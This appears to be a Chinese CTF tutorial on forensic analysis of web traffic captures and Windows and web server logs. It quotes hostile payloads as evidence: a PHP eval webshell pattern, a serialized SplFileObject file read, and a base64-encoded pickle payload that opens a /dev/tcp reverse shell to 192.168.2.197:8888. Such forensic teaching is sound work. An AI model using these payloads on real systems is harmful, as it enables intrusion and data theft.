【流量、日志分析】常见的web流量分析、windows日志分析

news2024/11/24 9:20:01

1.web流量分析

1.1 特点

通常会提供一个包含流量数据的 PCAP 文件,有时候也会需要先进行修复或重构传输文件后,再进行分析。

复杂的地方在于数据包里充满着大量无关的流量信息,因此如何分类和过滤数据是我们需要做的。

1.2 流量包修复

例题为i春秋第一届 “百度杯” 信息安全攻防总决赛 线上选拔赛:find the flag

该cap文件直接打开的话出现报错:

在这里插入图片描述

通过pcap在线修复工具进行流量包修复:pcapfix

在长度为72的流量中有提示:

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

这些流量中的字符反过来就是flag,反过来拼接就可以得到flag,这边找到一个师傅的脚本借鉴一下:

在这里插入图片描述

#!/usr/bin/env python
# -*- coding:utf-8 -*-
# -- author:valecalida --
# Edit time: 2021/6/6 8:35
from pyshark import FileCapture
from binascii import a2b_hex
cap = FileCapture('cap.pcap', display_filter="tcp && frame.cap_len==72")
cap.load_packets()
content, link = '', ''
for i in range(0, len(cap), 2):
    link = cap[i].ip.id[-4:][2:] + cap[i].ip.id[-4:][:2]
    content += link
print(a2b_hex(bytes(content, encoding='utf-8')))

运行脚本拼接后的flag:
在这里插入图片描述

1.3 扫描分析

通过给出的流量包获取攻击者使用的WEB扫描工具。

如何快速发现是不是有扫描器扫描的痕迹。

一般最常用到的扫描器有WVS、nessus、APPscan、绿盟极光、sqlmap、dirsearch等等,所以我们就要了解这些扫描器本身的一些特征。

WVS扫描器通常默认情况下,会在请求的数据包中带有wvs、acunetix_wvs_security_test、acunetix、acunetix_wvs等字样

Nessus扫描器默认情况下会包含nessus字样

APPscan默认情况下会包含APPscan字样

绿盟极光扫描器一般会包含nsfocus、Rsas字样

sqlmap大多情况下也会包含有sqlmap字样

例题:安恒八月月赛流量分析:黑客使用的是什么扫描器?

流量包很巨大,比我们一般CTF中遇到的都大,显然利用筛选功能才能找到使用了什么扫描器。

首先过滤http流量,发现“acunetix”:

在这里插入图片描述

有这个字样,猜测是WVS扫描器, WVS扫描器通常默认情况下,会在请求的数据包中带有wvs、acunetix_wvs_security_test、acunetix、acunetix_wvs等字样。

为了验证猜测,使用语句 http contains "wvs" 或者 http contains "acunetix" 过滤一下,确定了黑客使用的扫描器为awvs。

在这里插入图片描述

1.4 WebShell上传

Webshell文件上传常采用post方法请求,获取流量包中记录的webshell可通过wireshark筛选出POST请求和关键字.

相关命令:http.request.method==“POST” && http contains == “关键字”

例题:安恒八月月赛流量分析:黑客上传的webshell文件名是?内容是什么?(依然是对webone.pcap进行流量分析)

因为是上传文件,有以下过滤规则:
post && 源地址 && 协议http

http.request.method=="POST" && ip.src==192.168.94.59 && http

在这里插入图片描述

如上图,过滤后看到异常:images里面存了a.php,推测就是黑客上传的WebShell。

追踪tcp流。发现使用php写的WebShell:

在这里插入图片描述

使用下面的语句过滤一下:

tcp contains "<?php @eval"

在这里插入图片描述

再追踪tcp流,最终找到了webshell的内容:
在这里插入图片描述

2.windows日志分析

2.1 什么是Windows日志?

Windows日志特指Windows操作系统中各种各样的日志文件,如应用程序日志,安全日志、系统日志。

2.1.1 系统日志

记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等。用户可以通过它来检查错误发生的原因,或者寻找受到攻击时攻击者留下的痕迹。

默认位置: %SystemRoot%\System32\Winevt\Logs\System.evtx

2.1.2 应用程序日志

包含由应用程序或系统程序记录的事件,主要记录程序运行方面的事件,例如数据库程序可以在应用程序日志中记录文件错误,程序开发人员可以自行决定监视哪些事件。如果某个应用程序出现崩溃情况,那么我们可以从程序事件日志中找到相应的记录。

默认位置:%SystemRoot%\System32\Winevt\Logs\Application.evtx

2.1.3 安全日志

记录系统的安全审计事件,包含各种类型的登录日志、对象访问日志、进程追踪日志、特权使用、帐号管理、策略变更、系统事件。安全日志也是调查取证中最常用到的日志。默认设置下,安全性日志是关闭的,管理员可以使用组策略来启动安全性日志,或者在注册表中设置审核策略,以便当安全性日志满后使系统停止响应。

默认位置:%SystemRoot%\System32\Winevt\Logs\Security.evtx

2.1.4 事件ID字段

Log Name:存储事件的事件日志的名称,在处理从同一系统提取的大量日志时很有用。

Source:生成事件的服务,Microsoft组件或应用程序。

Event ID:分配给每种已审计活动类型的代码。

Level:分配给相关事件的严重性。

User:在记录事件时,触发活动或源正在运行的用户上下文的用户帐户。注意,该字段通常表示“系统”而不是记录事件原因的用户

OpCode:由生成日志的源分配

Logged:记录事件的本地系统日期和时间

Task Category:由生成日志的源分配

keywords:用于对事件进行分组或排序。

Computer:记录事件的计算机。当检查从多个系统收集的日志时,此功能很有用,但不应被视为导致事件的设备

Description:一个文本块,其中记录了特定于所记录事件的其他信息,对于取证人员来说,这通常是最重要的字段。

对于Windows事件日志分析,不同的EVENT ID代表了不同的意义,下面是一下常用到的事件ID:

事件ID说明
1102审核日志已清除
1104安全日志现已满
4608Windows正在启动
4609Windows正在关闭
4616系统时间已更改
4625帐户无法登录
4624帐户已成功登录
4634帐户已注销
4647用户启动的注销
4672使用超级用户(如管理员)进行登录
4620创建用户
4657注册表值已修改
4741已创建计算机帐户
4742计算机帐户已更改
4743计算机帐户已删除

2.2 日志分析

日志分析(问1)

在这里插入图片描述

这里我选择NotePad++打开文件access.log。
先选中全部内容,插件 → MIME tools → URL Decode
查找log中状态码为200的请求记录。搜索“200”:

在这里插入图片描述

源码文件名是www.zip,flag就为:NSSCTF{www.zip}。

日志分析(问2)

在这里插入图片描述

还是在那个日志文件access.log,Ctrl+F搜索/tmp,这就是文件名:

在这里插入图片描述

flag就是:NSSCTF{sess_car}。

日志分析(问3)

在这里插入图片描述

这里存在反序列化:

在这里插入图片描述

使用php函数进行反序列化有助于读懂语句:

<?php
$serializedData = 'a:1:{s:5:"/flag";s:13:"SplFileObject";}';

// 使用unserialize函数进行反序列化
$data = unserialize($serializedData);

// 输出反序列化后的结果
var_dump($data);
?>

如下就是反序列化后的内容:在这里插入图片描述

易知,黑客使用的是_SplFileObject_类读取了秘密文件。
flag就是:NSSCTF{SplFileObject}。

简单日志分析(问1)

请添加图片描述

翻看log时就看到了异常参数user:
在这里插入图片描述

flag就是NSSCTF{user}。

简单日志分析(问2)

在这里插入图片描述

对这个user参数的base64解码时发现了绝对路径:
在这里插入图片描述在这里插入图片描述

flag即是:NSSCTF{/Th4s_IS_VERY_Import_Fi1e}

简单日志分析(问3)

在这里插入图片描述

最后这个参数user中就是黑客反弹shell的ip和端口:
在这里插入图片描述

JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTk3Lzg4ODggMD4mMScKcDEKMChnMApscDIKMChJMAp0cDMKMChnMwpJMApkcDQKMGNvcwpzeXN0ZW0KcDUKMGc1CihnMQp0Ui4=

base64解码就得出:
在这里插入图片描述

flag就是:NSSCTF{192.168.2.197:8888}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/845567.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Docker网络模型:理解容器网络通信和连接

&#x1f337;&#x1f341; 博主猫头虎 带您 Go to New World.✨&#x1f341; &#x1f984; 博客首页——猫头虎的博客&#x1f390; &#x1f433;《面试题大全专栏》 文章图文并茂&#x1f995;生动形象&#x1f996;简单易学&#xff01;欢迎大家来踩踩~&#x1f33a; &a…

第 357 场力扣周赛题解

A 故障键盘 简单模拟 class Solution { public:string finalString(string s) {string res;for (auto c: s)if (c ! i)res.push_back(c);elsereverse(res.begin(), res.end());return res;} };B 判断是否能拆分数组 区间dp&#xff1a;定义 p i , j p_{i,j} pi,j​表示子数组 n…

预测知识 | 预测模型变量重要性、可视化及论文撰写指南

预测知识 | 预测模型变量重要性、可视化及论文撰写指南 目录 预测知识 | 预测模型变量重要性、可视化及论文撰写指南变量重要性模型可视化论文撰写指南参考资料 变量重要性 关于预测模型变量重要性&#xff0c;大家一定熟悉不过。但如下图所示&#xff0c;其展示上可有进一步优…

ServiceAccount深度解析

ServiceAccount为Pod钟的进程提供身份信息。当用户访问集群时&#xff08;例如使用kubectl命令的时候&#xff09;&#xff0c;apiserver会将用户认证为一个特定的User Account&#xff08;目前通常是admin&#xff0c;除非系统管理员自定义了集群配置&#xff09;。Pod容器中的…

Pytest测试框架2

目录&#xff1a; pytest参数化用例pytest标记测试用例pytest设置跳过、预期失败用例pytest运行用例pytest测试用例调度与运行pytest命令行常用参数python执行pytestpytest异常处理 1.pytest参数化用例 参数化 通过参数的方式传递数据&#xff0c;从而实现数据和脚本分离。…

C++三个线程依次打印abc

代码 #include<iostream> #include<thread> #include<mutex> #include<condition_variable> using namespace std; mutex mtx; condition_variable cv; int flag0; void A(){unique_lock<mutex>lk(mtx);int count0;while(count<10){while(fl…

【工程实践】使用EDA(Easy Data Augmentation)做数据增强

工程项目中&#xff0c;由于数据量不够&#xff0c;经常需要用到数据增强技术&#xff0c;尝试使用EDA进行数据增强。 1.EDA简介 EDA是一种简单但是非常有效的文本数据增强方法&#xff0c;是由美国Protago实验室发表于 EMNLP-IJCNLP 2019 会议。EDA来自论文《EDA: Easy Data…

AI Chat 设计模式:12. 享元模式

本文是该系列的第十二篇&#xff0c;采用问答式的方式展开&#xff0c;问题由我提出&#xff0c;答案由 Chat AI 作出&#xff0c;灰色背景的文字则主要是我的一些思考和补充。 问题列表 Q.1 给我介绍一下享元模式A.1Q.2 也就是说&#xff0c;其实共享的是对象的内部状态&…

【Pytorch】P0 Windows 安装 Pytorch

Windows安装Pytorch 前言PyTorch&#xff0c;CUDA与GPUCUDA ToolkitSo...总而言之 整体流程一&#xff1a;安装 CUDA Toolkit步骤一&#xff1a;获取CUDA版本信息步骤二&#xff1a;下载安装 CUDA Toolkit步骤三&#xff1a;按照默认步骤安装步骤四&#xff1a;检查CUDA安装成功…

Android应用开发(6)TextView进阶用法

Android应用开发学习笔记——目录索引 上一章Android应用开发&#xff08;5&#xff09;文本视图&#xff08;TextView&#xff09;介绍了文本视图&#xff08;TextView&#xff09;设置文本内容、设置文本大小、设置文本显示颜色。 TextView是最基础的文本显示控件&#xff…

cpu的几核和几线程是什么意思

先说一下i7-12800H 14核 20线程是什么意思 答: 超线程功能先简单的解释下就是:能使一个大核拥有同时处理两个线程的能力. 14核是大小核技术,6个大核,8个小核,小核没有超线程功能 ,比大核的性能要弱些 也就是说6个大核,每个大核都同时处理2个线程, 每个小核只能同时处理…

Vue缓存字典值减少网络请求次数,解决同样参数并发请求多次

前言 在一些项目里&#xff0c;我们可能有着大量的下拉框&#xff0c;而这些下拉框的数据就来源于我们后端接口返回的字典信息。于是&#xff0c;画风可能是这样的&#xff0c;每次下拉&#xff0c;你都需要请求一次字典接口拿到这些数据&#xff0c;于是每次组件刷新都会重复…

UNIX基础知识:UNIX体系结构、登录、文件和目录、输入和输出、程序和进程、出错处理、用户标识、信号、时间值、系统调用和库函数

引言&#xff1a; 所有的操作系统都为运行在其上的程序提供服务&#xff0c;比如&#xff1a;执行新程序、打开文件、读写文件、分配存储区、获得系统当前时间等等 1. UNIX体系结构 从严格意义上来说&#xff0c;操作系统可被定义为一种软件&#xff0c;它控制计算机硬件资源&…

ClickHouse(十三):Clickhouse MergeTree系列表引擎 - ReplicingMergeTree

进入正文前&#xff0c;感谢宝子们订阅专题、点赞、评论、收藏&#xff01;关注IT贫道&#xff0c;获取高质量博客内容&#xff01; &#x1f3e1;个人主页&#xff1a;含各种IT体系技术&#xff0c;IT贫道_Apache Doris,大数据OLAP体系技术栈,Kerberos安全认证-CSDN博客 &…

Session与Cookie的区别(五)

储存状态的方式 小明的故事说完了&#xff0c;该来把上面这一段变成网络的实际案例了。其实在网络世界中问题也是一样的。 前面已经提到过我们会把状态存在 Cookie 里面&#xff0c;让 Request 之间能够变得有关联。 假设我们今天要来做一个会员系统&#xff0c;那我要怎么知道…

24届近5年南京航空航天大学自动化考研院校分析

今天给大家带来的是南京航空航天大学控制考研分析 满满干货&#xff5e;还不快快点赞收藏 一、南京航空航天大学 学校简介 南京航空航天大学创建于1952年10月&#xff0c;是新中国自己创办的第一批航空高等院校之一。1978年被国务院确定为全国重点大学&#xff1b;1981年经…

Llama 2 云端部署与API调用【AWS SageMaker】

Meta 刚刚发布了 Llama 2 大模型。如果你和我们一样&#xff0c;你一定会迫不及待地想要亲自动手并用它来构建。 推荐&#xff1a;用 NSDT设计器 快速搭建可编程3D场景。 使用任何类型的 LLM 进行构建的第一步是将其托管在某处并通过 API 使用它。 然后你的开发人员可以轻松地将…

Java技术整理(4)—— 多线程并发篇

1、Java 线程实现/创建方式 &#xff08;1&#xff09;继承Thread类 Thread类本质上是实现了Runnable接口的实例&#xff0c;代表一个线程的实例&#xff0c;通过start()启动&#xff0c;自动执行run()方法。 &#xff08;2&#xff09;实现Runnable接口 Runnable是一个没有…

2023 java web面试秘籍

目录 第一章&#xff1a;Java Web基础知识1.介绍3.Java Web基本概念 4.常见面试问题第二章&#xff1a;Java Web核心概念和技术1.介绍3.Servlet和JSP4.Web安全5.常见面试问题 第三章&#xff1a;Java Web高级概念和技术1.介绍3.Spring框架4.安全性5.常见面试问题 第四章&#x…

Clickhouse 数据存储

一、数据分区 数据是以分区目录的形式组织的&#xff0c;每个分区独立分开存储.这种形式&#xff0c;查询数据时&#xff0c;可以有效的跳过无用的数据文件。 1.1 数据分区的规则 分区键的取值&#xff0c;生成分区ID&#xff0c;分区根据ID决定。根据分区键的数据类型不同&am…